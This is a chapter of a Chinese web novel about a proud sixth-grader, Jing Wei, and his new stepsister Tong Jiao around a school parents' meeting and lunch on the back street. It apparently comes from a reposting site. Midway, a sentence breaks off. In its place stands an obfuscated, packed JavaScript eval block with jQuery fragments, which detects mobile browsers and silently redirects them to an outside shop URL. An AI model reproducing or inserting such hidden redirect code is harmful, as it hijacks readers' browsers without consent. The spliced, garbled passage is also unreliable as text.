文趣网 > 其他小说 > 敬此经年 > 16. 第 16 章 瞎子
    六年级的荆烠性格刺挠,但跟混子沾不上边,会为低分感到羞耻,也会对好学生被表扬感到向往。

    尽管后者他并不承认。

    总而言之,荆烠是个心理防线极低的小学生。

    家长会定在上午,偌大教学楼到处都是讨论声,家长和孩子都默契地不一块儿走,有的孩子有羞耻心,会紧紧盯着自家长辈的穿戴和言谈。

    他们很怕被同学嘲笑,何小龙就是其中之一。

    何小龙的妈妈开麻将馆,家里油水特别好,他妈妈染了一头泡面卷头,人长得丰腴肤色又白,涂朱红色口红,老被同学说像大耳朵图图里的壮壮妈。

    何小龙为此自卑,十分羡慕荆烠。

    荆烠还不知道他这样都有人暗地里羡慕呢。

    他无所事事地扫视了一眼班级,定睛在姜骏和他妈妈身上,他妈妈是个温柔细心的女人,正在帮姜骏整理衣领。

    母子两互相为对方鼓气加油。

    荆烠心向往之,十分羡慕姜骏。

    有些小落寞,他一会儿转笔,一会儿走神,思绪不知又飘哪儿去了。

    一个愣神间,他瞅见窗外有个熟悉的面孔,霎时瞪大眼睛又擦了擦眼皮。

    难以置信,那人不是佟皎还能是谁?

    她来干嘛?

    他心里顿时警铃大作,几乎以为她是没事找事来给自己开家长会的,后又摇头否认,她不嫌丢人就不错了,怎么会承认自己是他姐。

    况且,他也不认她这个姐!

    荆烠用手挡住侧脸,几乎把头埋到课桌下,希望她快快走,最好不要看见他。

    他脑海里不受控制地预演了许多画面,最恐怖的就是她大声叫他名字,喊他弟弟,然后全班看过去,再目光聚集到他身上。

    这跟刑台有什么区别,光是想想都要膈应死。

    快走快走,他默默念叨。

    不知埋头多久,他决心不要这么怂,于是蹭的起身,打算用最狠的目光瞪过去。

    然而窗外连个人影都没有。

    她又走了。

    荆烠刚刚提起没多久的气突然就又泄了,像被揍扁的气球,想飘起来都不能。

    背景音中,姜骏已经作为优秀学生代表上台发言。

    他语速很慢,字字明晰:“大家好,我是来自六年一班的姜骏,今天很荣幸站在这里发言。”

    “我不认为自己是个聪明学生,我只是对于读书,对于吸纳知识有点执拗……”

    荆烠撑着头,听进去了。

    书呆子好友在他心中陡然翻身,变了个样,台上的分明是清秀状元幼年体。

    他咋舌,心里又有点儿不是滋味。

    于是往后转头,想要看看倒数第一排的何小龙,只见何小龙低垂着头抠着手,哪儿有认真在听的样子。

    他顿时又找回些许平衡。

    姜骏的发言快要结束了。

    他说:“种一棵树最好的时间是十年前,其次是现在,同学们,现在开始认真学习还不晚。”

    荆烠看向姜骏,恍惚中觉得他像是对自己说,干巴对视一眼,又低下了头。

    大家都是小学生,为什么他能有这样的觉悟。

    荆烠看了眼姜骏妈妈,只见她眼中含着笑意,满目欣慰地看着自家儿子,像是最忠实的听众,骄傲地鼓掌。

    真好啊。

    荆烠趴在桌上,眼皮有些累,怎么老是不受控制一眨一眨呢。

    他想,或许闭上眼会舒服一些。

    ·

    一般开家长会的那天下午不用上课,结束后家长要么带着自家孩子回家,要么中午出去下馆子。

    总归都一起,鲜少有人落单。

    荆烠是那“鲜少”人中的一员,他面上没什么情绪,背上书包就要出教室。

    姜骏妈妈喊住他:“小烠今天一个人吗?要不要和小骏一起,阿姨带你俩去吃汉堡。”

    她盛情邀请,姜骏也期待地看向荆烠。

    换做平时,荆烠肯定二话没说就答应了,可是今天他有些犹豫,甚至生出了一丝抗拒。

    今天,他突然不想打搅他们的母子时光。

    “谢谢阿姨,不用了。”

    他留下这么一句话,难得双肩背上书包,快步出了教室,倔强身影很快消失在拐角。

    姜骏有些失落,他无奈地看了一眼自己母亲,对方同样摇摇头。

    袁岚叹了口气,荆烠这小子太傲,什么烦心事都藏心里,倔强的样子叫人看了心疼。

    荆烠独自去了操场,决定在那儿等到其他同学都走光。

    他沉默地坐在石阶上,有那么几分沉思者的样子。

    大概就是再活泼好动的水帘洞大王被压在五指山下,也会有那么些沉闷乏味的时刻,荆烠此刻就是这个状态。

    ——《忧郁的小学生》

    佟皎饶有兴趣地观察了他很久。

    她在教学楼上俯视他,他没发现。

    佟皎想,如果她有张若那样的速写能力,一定会想把此刻闷闷不乐的荆烠画下来,然后拿回去给宋阿婆看。

    “阿婆你瞧,这小子也有这么文静忧郁的时候,罕见吧。”

    佟皎想着想着,回教室写了张纸团,等那只放松警惕的刺猬反应过来时,武器已扎在了他刺上。

    纸团刚好砸到了荆烠的头。

    他一激灵,紧皱眉头四下张望。

    扫视一圈终于见隔壁初中三楼边上的围栏冒出一颗人头,那位始作俑者笑谑着朝他挥手。

    “你好啊,有火哥。”

    她笑得很灿烂,罕见的灵动。

    荆烠讶异于自己居然能看出来她说的是什么。

    “干嘛!”他不客气回应。

    “你打开看。”

    荆烠展开那张被团得皱巴巴的纸条,她的字工整清秀,纸上写着:等我待会儿上完最后一节课,我俩出去下馆子吧,去吃后街那家康姨小炒好不好?

    荆烠把每个字狠狠理解了一遍,她这是邀请自己吗?

    她今天怎么这么关注他?

    有鬼。

    于是他郑重且严肃地在胸前比了个大叉。

    意思是拒绝她的邀请。

    佟皎没意料到,恰好此时上课铃声响,她最后再看了一眼荆烠,犹疑地回了教室。

    不识好歹。

    荆烠松开手,将纸团紧攥在手中,离开操场时顺手扔进了垃圾桶。

    小学部已经没什么人,保洁阿姨在清扫地上落叶,荆烠犹豫再三还是返回了班级。

    他带上了作业。

    .

    佟皎的同桌是个人缘很好的姑娘,叫王予微,是班级的劳动委员。

    她热情健谈,午饭时常常喊上佟皎一块儿,佟皎拒绝为多。

    然而今天被荆烠拒绝后,她大概是有了些逆反心理,偏想去后街吃。

    于是终于没再辜负人家好意,答应同她们去校外吃炸串。

    一行三个人,独佟皎话最少。

    三人行的另一位是王予微平

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572006|204863||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    日里的好朋友,和她们不在一个班,两人也难得出校觅一次食。

    两姑娘一路上畅聊个不停。

    她们并不是有意忽视佟皎,佟皎也并不钝感,她只是话少。

    唯独张若在她那里是个例外,她爱听张若讲话,张若问她她也愿意回答。

    张若说话总是娓娓道来,并且她去过很多地方,爱跟佟皎分享她眼中的世界。

    佟皎记得上次见面时她聊到樟城有二十四小时移动书屋,佟皎没见过,觉得很神奇。

    她试图想象。

    每每沉浸于书中世界时,美妙度过大把光阴后,睁眼看见的风光也有所不同,这实在太吸引她。

    因此如张若所希望的那般,她也想快快升学进樟城一中,见见樟城的风光,嗅嗅满街的香樟树。

    她也时常想象她的心跳时刻,会如同杂志里短篇小说所描绘的那样,翩翩少年骑着单车路过,成为她青春里难忘的邂逅吗?

    .

    后街不大,街道很窄,但是小吃摊小饭馆水果店一应俱全。

    炸串店很小,稀稀拉拉摆着几张小方桌和一叠艳红色塑胶圆凳子,素菜五毛,荤菜一到四块不等。

    佟皎嗜辣,但不太喜欢吃太油腻的食物,她挤在食客中挑挑拣拣了些素菜。

    准备回店里落座,却瞅见街对面小面馆里那显眼的小学校服,背对着她那位不是荆烠还能是谁?

    好家伙,不是不想来后街吃,只是单纯不想和她一起。

    她到底低估了这小子的戒备心和排斥度。

    荆烠其实在后街巷子口等了佟皎很久,他有些后悔,其实他今天不该拒绝佟皎,只是说不上来为什么直觉拒绝她会比较好。

    他把这种心口不一总结为:今天不想吃小炒菜。

    于是水灵灵地落座和何小龙常来吃的小面馆。

    老板见他难得一个人来,好奇问:“今天咋没跟那小胖子一起来吃呢?”

    荆烠头一撑,十分不屑:“他抛下我吃大餐去了。”

    爷爷有些惊讶,嘿嘿笑了笑,舀牛肉臊子的时候给荆烠多加了两块。

    荆烠吃面跟不怕烫一样,使劲儿吸溜,也不像难民进食,像只是在完成固定程序。

    佟皎庆幸自己没近视,能在无聊的等菜过程中看看荆烠打发时间。

    彼时同学们无聊时会玩不知怎么又流行起来了的拓麻子歌,佟皎没有自己的拓麻子歌,她觉得把荆烠当电子宠物看也不错。

    忽的,对面的“电子宠物”好似对“主人”有所感应般,转过头来,佟皎很淡定,等着他定睛在自己身上那一刻蔑视回去。

    可惜荆烠是个瞎子,没看见。

    王予微和她朋友一边喊着“烫烫烫”,一边麻溜儿地落座了,顺带着佟皎已炸好的串儿放在桌上,吃炸串是个损坏形象的事,但饿极了的学生们可不会管顾不值钱的形象。

    看着王予微的吃相,佟皎忽然觉得她手中的雪花鸡柳很香。

    时至正午,气温高了起来,热度混杂炸久了的油味,其实很难闻。

    走出店门,三人校服上都沾了一大股子味儿,于是商量着下次一定要挑晚上来吃。

    躁动的雀跃的风微微地吹,佟皎彻底适应了在云河的生活。

    她尚未意识到,讨人厌的烦人弟弟每天占据自己那么多的关注。

    可又似乎在逐渐接纳彼此。

    这对一个重组家庭来说,是个好兆头。

    佟皎在适应之余,也会想起从前的日子。